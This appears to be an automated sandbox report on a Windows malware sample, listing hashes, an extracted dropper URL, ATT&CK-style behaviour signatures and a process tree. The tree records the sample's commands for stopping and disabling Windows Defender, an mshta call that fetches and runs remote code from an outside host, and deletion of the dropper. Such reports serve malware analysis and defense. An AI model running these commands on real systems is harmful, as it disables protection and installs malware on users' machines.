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Analysis

  • max time kernel
    150s
  • max time network
    94s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/09/2024, 05:14

General

  • Target

    eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe

  • Size

    2.2MB

  • MD5

    eaa6966575d28fa84ddcf3ba17c4d07e

  • SHA1

    f5f44be0cb637bea6348e506ee94136bb41bfa8f

  • SHA256

    16fed893171b69ceb22b85992f486ff2fd45d26de273deced2fb46b2517d755f

  • SHA512

    57769e221cf3127284ded0c043d977168a7d5395abc2d095cbbd7564f0e5bae5574100e1364df2116e29db4244eea87d344041983c2a62328f3a12f24f72060d

  • SSDEEP

    49152:mDwQZshctg3xglTVGI8HoBfAIPYiiqowvq00p7PiKXT0phLdlh:mDwQEuUxglcI8HoiIrwzXopZdL

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=ZEUYFSYD&2=i-s&3=17&4=9200&5=6&6=2&7=919041&8=1033

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1060
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3020
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3728
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5028
    • C:\Windows\SysWOW64\sc.exe
      sc config msmpsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2780
    • C:\Users\Admin\AppData\Roaming\Microsoft\lklenp.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\lklenp.exe
      2⤵
      • Modifies WinLogon for persistence
      • UAC bypass
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Checks whether UAC is enabled
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:4072
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:976
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4548
      • C:\Windows\SysWOW64\net.exe
        net stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3164
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop msmpsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2236
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2152
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=ZEUYFSYD&2=i-s&3=17&4=9200&5=6&6=2&7=919041&8=1033"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3280
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\EAA696~1.EXE" >> NUL
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1784

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\lklenp.exe

    Filesize

    2.2MB

    MD5

    eaa6966575d28fa84ddcf3ba17c4d07e

    SHA1

    f5f44be0cb637bea6348e506ee94136bb41bfa8f

    SHA256

    16fed893171b69ceb22b85992f486ff2fd45d26de273deced2fb46b2517d755f

    SHA512

    57769e221cf3127284ded0c043d977168a7d5395abc2d095cbbd7564f0e5bae5574100e1364df2116e29db4244eea87d344041983c2a62328f3a12f24f72060d

  • memory/1724-10-0x0000000003640000-0x00000000037C0000-memory.dmp

    Filesize

    1.5MB

  • memory/1724-7-0x0000000002730000-0x0000000002731000-memory.dmp

    Filesize

    4KB

  • memory/1724-21-0x0000000003640000-0x0000000003642000-memory.dmp

    Filesize

    8KB

  • memory/1724-23-0x0000000003690000-0x0000000003691000-memory.dmp

    Filesize

    4KB

  • memory/1724-22-0x0000000003690000-0x0000000003691000-memory.dmp

    Filesize

    4KB

  • memory/1724-20-0x0000000003860000-0x0000000003861000-memory.dmp

    Filesize

    4KB

  • memory/1724-19-0x0000000003860000-0x0000000003861000-memory.dmp

    Filesize

    4KB

  • memory/1724-18-0x0000000003860000-0x0000000003861000-memory.dmp

    Filesize

    4KB

  • memory/1724-17-0x0000000003640000-0x0000000003641000-memory.dmp

    Filesize

    4KB

  • memory/1724-16-0x0000000003650000-0x0000000003651000-memory.dmp

    Filesize

    4KB

  • memory/1724-6-0x00000000026E0000-0x00000000026E1000-memory.dmp

    Filesize

    4KB

  • memory/1724-14-0x0000000003650000-0x0000000003651000-memory.dmp

    Filesize

    4KB

  • memory/1724-13-0x0000000003650000-0x0000000003651000-memory.dmp

    Filesize

    4KB

  • memory/1724-12-0x0000000003650000-0x0000000003651000-memory.dmp

    Filesize

    4KB

  • memory/1724-11-0x0000000003640000-0x00000000037C0000-memory.dmp

    Filesize

    1.5MB

  • memory/1724-0-0x0000000000400000-0x000000000082F000-memory.dmp

    Filesize

    4.2MB

  • memory/1724-9-0x0000000003640000-0x00000000037C0000-memory.dmp

    Filesize

    1.5MB

  • memory/1724-8-0x0000000003640000-0x0000000003860000-memory.dmp

    Filesize

    2.1MB

  • memory/1724-15-0x0000000003650000-0x0000000003651000-memory.dmp

    Filesize

    4KB

  • memory/1724-5-0x0000000002710000-0x0000000002711000-memory.dmp

    Filesize

    4KB

  • memory/1724-4-0x00000000026A0000-0x00000000026A1000-memory.dmp

    Filesize

    4KB

  • memory/1724-3-0x00000000026B0000-0x00000000026B1000-memory.dmp

    Filesize

    4KB

  • memory/1724-2-0x00000000026C0000-0x00000000026C1000-memory.dmp

    Filesize

    4KB

  • memory/1724-30-0x0000000003630000-0x0000000003632000-memory.dmp

    Filesize

    8KB

  • memory/1724-29-0x0000000003660000-0x0000000003661000-memory.dmp

    Filesize

    4KB

  • memory/1724-28-0x00000000009C0000-0x00000000009C1000-memory.dmp

    Filesize

    4KB

  • memory/1724-27-0x00000000009B0000-0x00000000009B1000-memory.dmp

    Filesize

    4KB

  • memory/1724-26-0x0000000003650000-0x0000000003651000-memory.dmp

    Filesize

    4KB

  • memory/1724-25-0x0000000003690000-0x0000000003691000-memory.dmp

    Filesize

    4KB

  • memory/1724-24-0x0000000003860000-0x0000000003861000-memory.dmp

    Filesize

    4KB

  • memory/1724-1-0x0000000002600000-0x000000000265A000-memory.dmp

    Filesize

    360KB

  • memory/1724-36-0x0000000002600000-0x000000000265A000-memory.dmp

    Filesize

    360KB

  • memory/1724-37-0x0000000000400000-0x000000000082F000-memory.dmp

    Filesize

    4.2MB

  • memory/4072-39-0x0000000000400000-0x000000000082F000-memory.dmp

    Filesize

    4.2MB